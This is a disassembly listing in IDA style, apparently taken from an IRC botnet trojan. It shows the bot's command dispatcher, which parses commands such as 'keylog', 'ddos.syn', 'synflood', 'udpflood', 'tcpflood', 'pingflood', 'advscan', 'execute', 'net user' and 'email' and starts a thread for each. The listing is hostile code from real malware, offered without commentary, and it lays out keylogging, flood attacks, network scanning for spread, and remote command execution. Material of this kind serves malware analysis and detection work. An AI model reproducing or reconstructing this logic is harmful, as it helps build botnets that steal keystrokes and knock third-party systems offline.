		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412661
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_405D83


loc_405D6D:				; CODE XREF: sub_401ACD+42B4j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828C
		push	32h
		call	near ptr 2690F63h
		nop
		jmp	short loc_405D6D
; ---------------------------------------------------------------------------


loc_405D83:				; CODE XREF: sub_401ACD+429Ej
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42B7D8
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405D94:				; CODE XREF: sub_401ACD+41D5j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	21h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC4
		push	eax
		push	offset unk_42B798
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405DC4:				; CODE XREF: sub_401ACD+42EAj
		push	offset unk_42B768
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405DCE:				; CODE XREF: sub_401ACD+41BEj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA3
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E69
		push	2
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405E0C
		push	offset dword_42B740
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405E0C:				; CODE XREF: sub_401ACD+4333j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B714
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FD
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E594[esi], eax
		jnz	loc_40828C
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset dword_42B6E0
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405E69:				; CODE XREF: sub_401ACD+4327j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	2
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E99
		push	eax
		push	offset dword_42B6A8
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405E99:				; CODE XREF: sub_401ACD+43BFj
		push	offset dword_42B688
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405EA3:				; CODE XREF: sub_401ACD+4310j
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406020
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F19
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F19
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	23h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0F
		push	eax
		push	offset dword_42B63C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405F0F:				; CODE XREF: sub_401ACD+4435j
		push	offset dword_42B610
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405F19:				; CODE XREF: sub_401ACD+4401j
					; sub_401ACD+4410j
		push	23h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405F2F
		push	offset dword_42B5F0
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405F2F:				; CODE XREF: sub_401ACD+4456j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5C
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F65
; ---------------------------------------------------------------------------


loc_405F5C:				; CODE XREF: sub_401ACD+4481j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax


loc_405F65:				; CODE XREF: sub_401ACD+448Dj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8C
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D7F8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8C
		mov	esi, [ebp+var_88]


loc_405F8C:				; CODE XREF: sub_401ACD+44A1j
					; sub_401ACD+44B7j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B5CC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset byte_411CF5
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_40600F


loc_405FF9:				; CODE XREF: sub_401ACD+4540j
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_405FF9
; ---------------------------------------------------------------------------


loc_40600F:				; CODE XREF: sub_401ACD+452Aj
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset dword_42B590
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_406020:				; CODE XREF: sub_401ACD+43E5j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406270
		cmp	dword_4CB714, ebx
		jz	short loc_40604F
		cmp	dword_4CB73C, ebx
		jz	short loc_40604F
		push	offset unk_42B554
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40604F:				; CODE XREF: sub_401ACD+456Ej
					; sub_401ACD+4576j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDF
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406074
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_406074:				; CODE XREF: sub_401ACD+4597j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C1
		cmp	edi, ebx
		jz	short loc_406095
		push	[ebp+arg_0]
		push	3
		jmp	loc_406127
; ---------------------------------------------------------------------------


loc_406095:				; CODE XREF: sub_401ACD+45BCj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B7
		push	offset unk_42B528
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_4060B7:				; CODE XREF: sub_401ACD+45DEj
		push	offset unk_42B508
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_4060C1:				; CODE XREF: sub_401ACD+45B8j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DB
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_4060DB:				; CODE XREF: sub_401ACD+4605j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F5
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_4060F5:				; CODE XREF: sub_401ACD+461Fj
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610F
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_40610F:				; CODE XREF: sub_401ACD+4639j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406139
		push	[ebp+arg_0]
		push	1


loc_406127:				; CODE XREF: sub_401ACD+45C3j
					; sub_401ACD+460Cj ...
		call	sub_4186C2
		pop	ecx
		pop	ecx


loc_40612E:				; CODE XREF: sub_401ACD+46A2j
					; sub_401ACD+472Aj ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_406139:				; CODE XREF: sub_401ACD+4653j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619E
		cmp	edi, ebx
		jz	short loc_406171
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615E
		push	ebx
		push	edi
		push	1
		jmp	short loc_406167
; ---------------------------------------------------------------------------


loc_40615E:				; CODE XREF: sub_401ACD+4689j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx


loc_406167:				; CODE XREF: sub_401ACD+468Fj
		call	sub_418A99
		add	esp, 0Ch
		jmp	short loc_40612E
; ---------------------------------------------------------------------------


loc_406171:				; CODE XREF: sub_401ACD+4681j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8F
		add	esp, 10h
		test	eax, eax
		jz	short loc_406194
		push	offset unk_42B4C0
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406194:				; CODE XREF: sub_401ACD+46BBj
		push	offset unk_42B4A0
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40619E:				; CODE XREF: sub_401ACD+467Dj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406229
		cmp	edi, ebx
		jz	short loc_4061FC
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CF
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EF
; ---------------------------------------------------------------------------


loc_4061CF:				; CODE XREF: sub_401ACD+46EEj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EB
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EF
; ---------------------------------------------------------------------------


loc_4061EB:				; CODE XREF: sub_401ACD+4717j
		push	ebx
		push	edi
		push	2


loc_4061EF:				; CODE XREF: sub_401ACD+4700j
					; sub_401ACD+471Cj
		call	sub_418DB0
		add	esp, 18h
		jmp	loc_40612E
; ---------------------------------------------------------------------------


loc_4061FC:				; CODE XREF: sub_401ACD+46E6j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192E0
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621F
		push	offset unk_42B480
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40621F:				; CODE XREF: sub_401ACD+4746j
		push	offset unk_42B460
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406229:				; CODE XREF: sub_401ACD+46E2j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406266
		cmp	edi, ebx
		jz	short loc_40625C
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419594
		add	esp, 10h
		jmp	loc_40612E
; ---------------------------------------------------------------------------


loc_40625C:				; CODE XREF: sub_401ACD+4771j
		push	offset unk_42B434
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406266:				; CODE XREF: sub_401ACD+476Dj
		push	offset unk_42B418
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406270:				; CODE XREF: sub_401ACD+4562j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFE
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFE
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D0A
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D0A


loc_4062C4:				; CODE XREF: sub_401ACD+3CBEj
					; sub_401ACD+3CEDj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF0
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF0
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAD
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAD
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C58
		push	[ebp+arg_8]
		push	offset dword_42BBF0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C58
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEB
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEB
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B87
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B87
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4B
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4B
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADC
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADC
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A56
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A56
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E6
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E6
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089C0
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089C0
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895C
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895C
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408887
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408887
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878C
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878C
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408688
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408688
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E9
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E9
		push	[ebp+arg_8]
		push	offset aJpDe10	; "jp]de10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408458
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408458
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C5
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C5
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B6
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B6
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823F
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823F
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408142
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408142
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40805A
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40805A
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D7
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F7
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset byte_4146CF
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_4067C6


loc_4067B0:				; CODE XREF: sub_401ACD+4CF7j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA1
		push	32h
		call	near ptr 2690F63h
		nop
		jmp	short loc_4067B0
; ---------------------------------------------------------------------------


loc_4067C6:				; CODE XREF: sub_401ACD+4CE1j
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42B28C
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_4067D7:				; CODE XREF: sub_401ACD+4C37j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E79
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E79
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406904
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42B244
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset byte_413627
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_4068F3


loc_4068DD:				; CODE XREF: sub_401ACD+4E24j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_4068DD
; ---------------------------------------------------------------------------


loc_4068F3:				; CODE XREF: sub_401ACD+4E0Ej
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset dword_42B208
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_406904:				; CODE XREF: sub_401ACD+4D49j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D91
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D91
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C53
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C53
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B56
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B56
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A63
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A63
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795E
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795E
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407866
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407866
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407760
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407760
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407299
		push	[ebp+arg_8]
		push	offset aAdv	; "adv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407299
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407042
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407042
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6F
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6F
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D17
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
		call	sub_41BEB0
		push	offset asc_42D118 ; " "
